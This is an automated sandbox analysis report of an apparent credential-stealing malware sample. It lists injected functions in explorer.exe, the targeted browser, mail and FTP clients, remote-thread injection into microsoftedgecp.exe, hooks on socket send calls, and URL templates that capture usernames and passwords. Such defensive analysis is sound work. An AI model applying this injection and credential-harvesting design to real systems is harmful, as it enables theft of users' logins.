foxmail.exe, xrefs: 0300124C
cuteftppro.exe, xrefs: 0300121C
winscp.exe, xrefs: 030011FC
firefox.exe, xrefs: 03001114
mailchat.exe, xrefs: 0300126C
thunderbird.exe, xrefs: 030011C0
alimail.exe, xrefs: 0300125C
chrome.exe, xrefs: 03001138
263em.exe, xrefs: 0300123C
thebat32.exe, xrefs: 03001198
outlook.exe, xrefs: 03001170
microsoftedgecp.exe, xrefs: 030010D2, 03001160, 030012AE
opera.exe, xrefs: 0300114C
thebat64.exe, xrefs: 030011AC
iexplore.exe, xrefs: 03001124
filezilla.exe, xrefs: 030011D4
mailmaster.exe, xrefs: 0300122C

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapProcess32$AllocateCloseCreateFirstHandleNextProcessSleepSnapshotToolhelp32
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 3950187957-1680033604
Opcode ID: ec4eac4b381b8f6afad43e11c2b4e9012596689b428583bf6b43af1fdd7ed306
Instruction ID: 0a8ee50e13651c217a5926ada0d52eeda5f63bf67841ae8ce13fc41dc8a70ad4
Opcode Fuzzy Hash: ec4eac4b381b8f6afad43e11c2b4e9012596689b428583bf6b43af1fdd7ed306
Instruction Fuzzy Hash: 6251A638607305AAFB45EBB18D84E6FB6EC6F45780F0C0969FA80C70C5DF64D5098A79

Function 03007728 Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003006000.00000040.80000000.00040000.00000000.sdmp, Offset: 03006000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3006000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f48b649156c5649bb4704ab3df593b5abe5b098dea6efab04fa834a199e68a6d
Instruction ID: 43c3ee96cb96c4817a811294e984c2ff627643a06f4b850a94a9ffa860cf70bc
Opcode Fuzzy Hash: f48b649156c5649bb4704ab3df593b5abe5b098dea6efab04fa834a199e68a6d
Instruction Fuzzy Hash: 2D51F97194A3914FE722CA78CCC06657BE4DB42660F1D06B9C5E5C72C6E69C7806C7A1

Function 03002861 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,030010CC), ref: 03002864
RtlAllocateHeap.NTDLL(00000000), ref: 0300286B

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: c0d942bfe9c97b4abe56fdcd52574d1cf8c32b3a787c8ecf169564366cec3ff1
Instruction ID: 2cdc7ee21af0e5ec465d3354239ff032833af8a47eda9b6cf99aabd19c1f046c
Opcode Fuzzy Hash: c0d942bfe9c97b4abe56fdcd52574d1cf8c32b3a787c8ecf169564366cec3ff1
Instruction Fuzzy Hash: F1A012744032007FDD4237A0AA1DF053A1CA740305F0080807189C40448A68004C8722

Non-executed Functions

Function 03001819 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03002608: VirtualQuery.KERNEL32(03004434,?,0000001C), ref: 03002615

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,7556E800,microsoftedgecp.exe,?), ref: 0300184E
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 03001889
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 03001919
RtlMoveMemory.NTDLL(00000000,03003428,00000016), ref: 03001940
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 03001968
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 03001978
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 03001992
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 0300199A
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 030019A8
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 030019AF
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 030019C5
GetProcAddress.KERNEL32(00000000), ref: 030019CC
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 030019E2
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 03001A0C
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03001A1F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03001A26
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03001A2D
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 03001A41
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03001A58
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03001A65
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03001A6B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03001A71
CloseHandle.KERNEL32(00000000,?,00000000), ref: 03001A74

Strings

0-FwP,Fw, xrefs: 03001910
microsoftedgecp.exe, xrefs: 0300181D
opera_shared_counter, xrefs: 0300198B
atan, xrefs: 030019BB
ntdll, xrefs: 030019C0

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: 0-FwP,Fw$atan$microsoftedgecp.exe$ntdll$opera_shared_counter
API String ID: 1066286714-483016567
Opcode ID: 97fa8b9768162d68e705b6cac01f69bc2c801310289019c75af80d2a7f575960
Instruction ID: aa772040770cccb778fcb1ca6806cfbfa74854c37db3951f3a2abe4ed6fdc443
Opcode Fuzzy Hash: 97fa8b9768162d68e705b6cac01f69bc2c801310289019c75af80d2a7f575960
Instruction Fuzzy Hash: 0461F339106304AFE315DF25DD84E6BBBECEF89754F040659F589E3281DB74D9048BA2

Function 0300263E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 0300265A
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 03002672
lstrlen.KERNEL32(?,00000000), ref: 0300267A
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 03002685
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 0300269F
wsprintfA.USER32 ref: 030026B6
CryptDestroyHash.ADVAPI32(?), ref: 030026CF
CryptReleaseContext.ADVAPI32(?,00000000), ref: 030026D9

Strings

%02X, xrefs: 030026B0

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: 198d8a3905aa3af4b3670095fe2e034ef9b692d04e27838a2018ed95a3df3033
Instruction ID: a2ddac5e3bd40b2578c804c37de946dd33eaccc9748611573938cb34b40944cd
Opcode Fuzzy Hash: 198d8a3905aa3af4b3670095fe2e034ef9b692d04e27838a2018ed95a3df3033
Instruction Fuzzy Hash: 25116D75902108BFEB12AB95ED88FEEBFBCEB48305F1040A1F645E2140D7354E019B60

Function 03001332 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 94
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03002861: GetProcessHeap.KERNEL32(00000008,0000A000,030010CC), ref: 03002864
Part of subcall function 03002861: RtlAllocateHeap.NTDLL(00000000), ref: 0300286B

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,?,0300109E,?,03001010), ref: 0300134A
GetCurrentProcessId.KERNEL32(00000003,?,0300109E,?,03001010), ref: 0300135B
wsprintfA.USER32 ref: 03001372

Part of subcall function 0300263E: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 0300265A
Part of subcall function 0300263E: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 03002672
Part of subcall function 0300263E: lstrlen.KERNEL32(?,00000000), ref: 0300267A
Part of subcall function 0300263E: CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 03002685
Part of subcall function 0300263E: CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 0300269F
Part of subcall function 0300263E: wsprintfA.USER32 ref: 030026B6
Part of subcall function 0300263E: CryptDestroyHash.ADVAPI32(?), ref: 030026CF
Part of subcall function 0300263E: CryptReleaseContext.ADVAPI32(?,00000000), ref: 030026D9

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 03001389
GetLastError.KERNEL32 ref: 0300138F
Sleep.KERNEL32(000001F4), ref: 030013A1

Part of subcall function 030024D5: GetCurrentProcessId.KERNEL32 ref: 030024E7
Part of subcall function 030024D5: GetCurrentThreadId.KERNEL32 ref: 030024EF
Part of subcall function 030024D5: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 030024FF
Part of subcall function 030024D5: Thread32First.KERNEL32(00000000,0000001C), ref: 0300250D
Part of subcall function 030024D5: CloseHandle.KERNEL32(00000000), ref: 03002566

GetModuleHandleA.KERNEL32(ws2_32.dll,send), ref: 030013B8
GetProcAddress.KERNEL32(00000000), ref: 030013BF
GetModuleHandleA.KERNEL32(ws2_32.dll,WSASend), ref: 030013E4
GetProcAddress.KERNEL32(00000000), ref: 030013EB

Part of subcall function 03001DE3: RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 03001E1D

RtlExitUserThread.NTDLL(00000000), ref: 0300141D

Strings

send, xrefs: 030013AE
%s%d%d%d, xrefs: 0300136C
WSASend, xrefs: 030013DA
ws2_32.dll, xrefs: 030013B3, 030013DF

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$CreateCurrentHandleModuleProcess$AddressContextHeapProcThreadwsprintf$AcquireAllocateCloseDataDestroyErrorExitFileFirstLastMemoryMoveMutexNameParamReleaseSleepSnapshotThread32Toolhelp32Userlstrlen
String ID: %s%d%d%d$WSASend$send$ws2_32.dll
API String ID: 706757162-1430290102
Opcode ID: 68e7ee9d988422b04dcb84e66637653924e7e9b2a5568b148787e9b8a2f9c25b
Instruction ID: 8293232b1d1b98df35735a811cb208f6564a2e15f16feed04c7e245a291e2bc1
Opcode Fuzzy Hash: 68e7ee9d988422b04dcb84e66637653924e7e9b2a5568b148787e9b8a2f9c25b
Instruction Fuzzy Hash: CD31B43C343304BBEB06FFA2DD1DB9E7A59AF45705F004454F6069B6D1CB7989118B90

Function 03001647 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 91
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(03004220,?,?), ref: 03001679
lstrlen.KERNEL32(?), ref: 03001686
getpeername.WS2_32(?,?,?), ref: 030016A0
inet_ntoa.WS2_32(?), ref: 030016B1
htons.WS2_32(?), ref: 030016BF
wsprintfA.USER32 ref: 03001725

Strings

pop3://%s:%s@%s:%d, xrefs: 03001701
imap://%s:%s@%s:%d, xrefs: 030016FA
smtp://%s:%s@%s:%d, xrefs: 030016F3, 03001723
ftp://%s:%s@%s:%d, xrefs: 03001708

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$getpeernamehtonsinet_ntoawsprintf
String ID: ftp://%s:%s@%s:%d$imap://%s:%s@%s:%d$pop3://%s:%s@%s:%d$smtp://%s:%s@%s:%d
API String ID: 3379139566-1703351401
Opcode ID: d3bca9882b963b3646142f6b41517c4200e32a90eb0954bfe5f4eee3077752d3
Instruction ID: b1121a8a96e20d0b5429c6097d1c9fb2a4437b8d7a6c217776d4468d2fb67d75
Opcode Fuzzy Hash: d3bca9882b963b3646142f6b41517c4200e32a90eb0954bfe5f4eee3077752d3
Instruction Fuzzy Hash: 8A21883DA02205A7FB5ADEADCD885BFBAFD9B49301F0C41B9D908D3194D734C9018751

Function 03001752 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,sscanf,?,?,?,03001539,?,?,?,0300144B,?), ref: 03001763
GetProcAddress.KERNEL32(00000000), ref: 0300176A
RtlZeroMemory.NTDLL(03004228,00000104), ref: 03001788
RtlZeroMemory.NTDLL(03004118,00000104), ref: 03001790
RtlZeroMemory.NTDLL(03004330,00000104), ref: 03001798
RtlZeroMemory.NTDLL(03004000,00000104), ref: 030017A1

Strings

ntdll.dll, xrefs: 0300175A
sscanf, xrefs: 03001755
%s%s%s%s, xrefs: 030017B3

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: MemoryZero$AddressHandleModuleProc
String ID: %s%s%s%s$ntdll.dll$sscanf
API String ID: 1490332519-278825019
Opcode ID: 1608de3762e92475f18eaa764b7025f067cc5d1804ac43e42c444a46ec4cc719
Instruction ID: 81c27c9f3d520eff6c2334cb94e5b596d21ea3dc4338e060a0300122295ee9bb
Opcode Fuzzy Hash: 1608de3762e92475f18eaa764b7025f067cc5d1804ac43e42c444a46ec4cc719
Instruction Fuzzy Hash: E5F0897678332C3BE111B3ABAD06D4FBD5CC651DA6F420191B7546B183889969004DFC

Function 030024D5 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 030024E7
GetCurrentThreadId.KERNEL32 ref: 030024EF
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 030024FF
Thread32First.KERNEL32(00000000,0000001C), ref: 0300250D
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 0300252C
SuspendThread.KERNEL32(00000000), ref: 0300253C
CloseHandle.KERNEL32(00000000), ref: 0300254B
Thread32Next.KERNEL32(00000000,0000001C), ref: 0300255B
CloseHandle.KERNEL32(00000000), ref: 03002566

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: 7e833180e3981e57bbf0f2262039a1ed8b0e4fb477223ea027243faa73d17dfc
Instruction ID: 59d289eb75f6b102a705d0b7767a8668a846e8e71c84425e558ba169f73a5d7c
Opcode Fuzzy Hash: 7e833180e3981e57bbf0f2262039a1ed8b0e4fb477223ea027243faa73d17dfc
Instruction Fuzzy Hash: 9211867540B201EFE702EFA1A52C76FBBA8FF4570AF040959F58192144D73895458BA6

Function 03001F4A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03002861: GetProcessHeap.KERNEL32(00000008,0000A000,030010CC), ref: 03002864
Part of subcall function 03002861: RtlAllocateHeap.NTDLL(00000000), ref: 0300286B

Part of subcall function 030027E2: lstrlen.KERNEL32(030040DA,?,00000000,00000000,03001F86,75568A60,030040DA,00000000), ref: 030027EA
Part of subcall function 030027E2: MultiByteToWideChar.KERNEL32(00000000,00000000,030040DA,00000001,00000000,00000000), ref: 030027FC

Part of subcall function 03002374: RtlZeroMemory.NTDLL(?,00000018), ref: 03002386

RtlZeroMemory.NTDLL(?,0000003C), ref: 03001FE2
wsprintfW.USER32 ref: 0300211B
wsprintfW.USER32 ref: 03002186
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 03002250

Strings

Host: %s, xrefs: 03002180
POST, xrefs: 030020CC
Content-Type: application/x-www-form-urlencoded, xrefs: 030021AA
Accept: */*Referer: %S, xrefs: 03002111

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: b318bed7bd4ae4c4191b87012e788258fb12badd9ac5364d9056ab99ffd407d5
Instruction ID: 4ae8ded1f34aa5b1d651977217f5e4d5e5c113f35b97e8f1e7ab46a389a26961
Opcode Fuzzy Hash: b318bed7bd4ae4c4191b87012e788258fb12badd9ac5364d9056ab99ffd407d5
Instruction Fuzzy Hash: 46A1827560A305AFE751EF68C888A6BBBECFB88344F04482DF985D7291DB74D9048B52

Function 030025AD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000400,00000000,?,7556E800,?,?,microsoftedgecp.exe,03001287), ref: 030025BF
IsWow64Process.KERNEL32(000000FF,?), ref: 030025D1
IsWow64Process.KERNEL32(00000000,?), ref: 030025E4
CloseHandle.KERNEL32(00000000), ref: 030025FA

Strings

microsoftedgecp.exe, xrefs: 030025AD

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID: microsoftedgecp.exe
API String ID: 331459951-1475183003
Opcode ID: a234a0e78d0b02004479ccb0ee33545865a309f3902067b5b9cc30bf78b889e1
Instruction ID: 7c2c201dfeca061360faf3d071773d6a897aad7e3c90229162e3ab6fac2edaea
Opcode Fuzzy Hash: a234a0e78d0b02004479ccb0ee33545865a309f3902067b5b9cc30bf78b889e1
Instruction Fuzzy Hash: D6F09075903618FFEB51DF909A989EFB7ACEB01255F1402AAF90092180D7354E04EAA4

Function 03001B17 Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 03001B4E
LoadLibraryA.KERNEL32(?,03004434,00000000,00000000,75572EE0,00000000,03001910,?,?,?,00000001,?,00000000), ref: 03001B76
GetProcAddress.KERNEL32(00000000,-00000002), ref: 03001BA3
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 03001BF4

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 59843c6c98ff667736937613a2960a393bd80806f8f592b53c76f2c55e8fa5c4
Instruction ID: f2e6b916de296c1751490423b1abaf6845308c95b3bfc7cdc959c79dd09811e6
Opcode Fuzzy Hash: 59843c6c98ff667736937613a2960a393bd80806f8f592b53c76f2c55e8fa5c4
Instruction Fuzzy Hash: 6831B479702201ABEB68CF29C895B76B7E8FF05315F08456CE886C7280E735E845CBA0

Analysis Process: explorer.exePID: 6984, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0080355C Relevance: 1.6, APIs: 1, Instructions: 73
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 008035D8

Memory Dump Source

Source File: 0000000C.00000002.3926284328.0000000000801000.00000040.80000000.00040000.00000000.sdmp, Offset: 00801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_801000_explorer.jbxd

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction ID: 4ea10be5fa6a5d7345f64f80c924029b8d23803d93bc3f9f43e87fcc7843d72c
Opcode Fuzzy Hash: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction Fuzzy Hash: 8911C430711E095FEF98BBBC9CAE27937A4FB14312F54013AA419C76E1DA398A40C701

Function 00803220 Relevance: 7.7, APIs: 5, Instructions: 241
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00803266
Process32First.KERNEL32 ref: 00803289
Process32Next.KERNEL32 ref: 00803532
CloseHandle.KERNELBASE ref: 00803543
SleepEx.KERNELBASE ref: 0080354E

Memory Dump Source

Source File: 0000000C.00000002.3926284328.0000000000801000.00000040.80000000.00040000.00000000.sdmp, Offset: 00801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_801000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32
String ID:
API String ID: 2482764027-0
Opcode ID: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction ID: 5ca6b80de1247032089130549fa17b210f7aabc9b98b1d939babecef580a905d
Opcode Fuzzy Hash: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction Fuzzy Hash: D3813431218B088FE756EF54EC98BEAB7A5FF61741F44461AA443C71A0EF78DA04CB91

Function 0080A048 Relevance: 4.7, APIs: 3, Instructions: 223
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0080A147
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-0000000E), ref: 0080A1BB
VirtualProtect.KERNELBASE ref: 0080A1D9

Memory Dump Source

Source File: 0000000C.00000002.3926284328.0000000000807000.00000040.80000000.00040000.00000000.sdmp, Offset: 00807000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_807000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction ID: 66d05f7f8dc1296bdd88b17caf206e0ba728d8aad7bcc3cc26561b301faf9f9e
Opcode Fuzzy Hash: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction Fuzzy Hash: 40515832758F1D8ACBACAA7C9CC46F5B7C1F759325F18072AD48AC32C5E959D8468383

Analysis Process: explorer.exePID: 5440, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	35%
Signature Coverage:	4.5%
Total number of Nodes:	1105
Total number of Limit Nodes:	20

Executed Functions

Function 030C1A96 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 197
stringfilethreadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030C1000: GetProcessHeap.KERNEL32(00000008,00000208,030C1AB2,?,?), ref: 030C1003
Part of subcall function 030C1000: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 030C100A

GetTempPathW.KERNEL32(00000104,00000000,?,?), ref: 030C1ABE
GetTempFileNameW.KERNEL32(033D3FE8,00000000,00000000,033D3FE8,?,?), ref: 030C1ACF
DeleteFileW.KERNEL32(?,?), ref: 030C1ADB
PathRemoveExtensionW.SHLWAPI(?,?), ref: 030C1AE7
StrRChrW.SHLWAPI(00000000,0000005C,?,?), ref: 030C1AF6
CreateDirectoryW.KERNEL32(00000000,?,?), ref: 030C1B10
GetLogicalDriveStringsW.KERNEL32(00000104,00000000,?,?), ref: 030C1B3F
GetDriveTypeW.KERNEL32(?,?,?), ref: 030C1B54
lstrcatW.KERNEL32(00000000,?,?,?), ref: 030C1B7F
CreateThread.KERNEL32(00000000,00000000,030C1A6A,00000000,00000000,00000000), ref: 030C1BA3
lstrlenW.KERNEL32(?,?,?), ref: 030C1BAF
WaitForMultipleObjects.KERNEL32(00000000,?,00000001,000000FF,?,?), ref: 030C1BCA
CloseHandle.KERNEL32(?,?,?), ref: 030C1BD8
StrStrIW.SHLWAPI(00000000,%DESKTOP%,?,?), ref: 030C1C4B
SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,00000000,?,?), ref: 030C1C5A
PathFindFileNameW.SHLWAPI(00000000,?,?), ref: 030C1C65
PathAppendW.SHLWAPI(00000000,00000000,?,?), ref: 030C1C6D
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00008000,?,?), ref: 030C1C7C

Strings

%DESKTOP%, xrefs: 030C1C43

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: Path$File$CreateDriveHeapNameStringsTemp$AllocateAppendCloseDeleteDirectoryEnvironmentExpandExtensionFindFolderHandleLogicalMultipleObjectsProcessRemoveThreadTypeWaitlstrcatlstrlen
String ID: %DESKTOP%
API String ID: 825410880-4272197009
Opcode ID: f8981cf725e5acf11f0910bf6c1dd2c180185c38f8f7fb467d1ce4e42d3d89ac
Instruction ID: 74bfcc1619a55539bca1cc9905a5e962fe4f1dab225f5148444eef00c1ec1d87
Opcode Fuzzy Hash: f8981cf725e5acf11f0910bf6c1dd2c180185c38f8f7fb467d1ce4e42d3d89ac
Instruction Fuzzy Hash: 32519035213390ABC728FF75EC88A6EBBE9EF49751B14451CFD05CA186DB789810CB94

Function 030C18E0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 133
stringfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030C1000: GetProcessHeap.KERNEL32(00000008,00000208,030C1AB2,?,?), ref: 030C1003
Part of subcall function 030C1000: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 030C100A

lstrcatW.KERNEL32(00000208,00000000,00000000,00000000,?,00000000), ref: 030C192C
PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 030C193C
lstrcatW.KERNEL32(00000000,00000000,?,00000000), ref: 030C1947
PathRemoveFileSpecW.SHLWAPI(00000208,?,00000000), ref: 030C194A
FindFirstFileExW.KERNEL32(00000000,00000001,?,00000000,00000000,00000002,?,00000000), ref: 030C195E
lstrcmpiW.KERNEL32(?,?,00000000), ref: 030C1995
PathCombineW.SHLWAPI(00000410,00000208,?,?,?,00000000), ref: 030C19BC
PathCombineW.SHLWAPI(?,00000208,?,?,00000000), ref: 030C1A10
FindNextFileW.KERNEL32(00000000,?,?,00000000), ref: 030C1A42
FindClose.KERNEL32(00000000,?,00000000), ref: 030C1A51

Strings

*.*, xrefs: 030C1934

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd
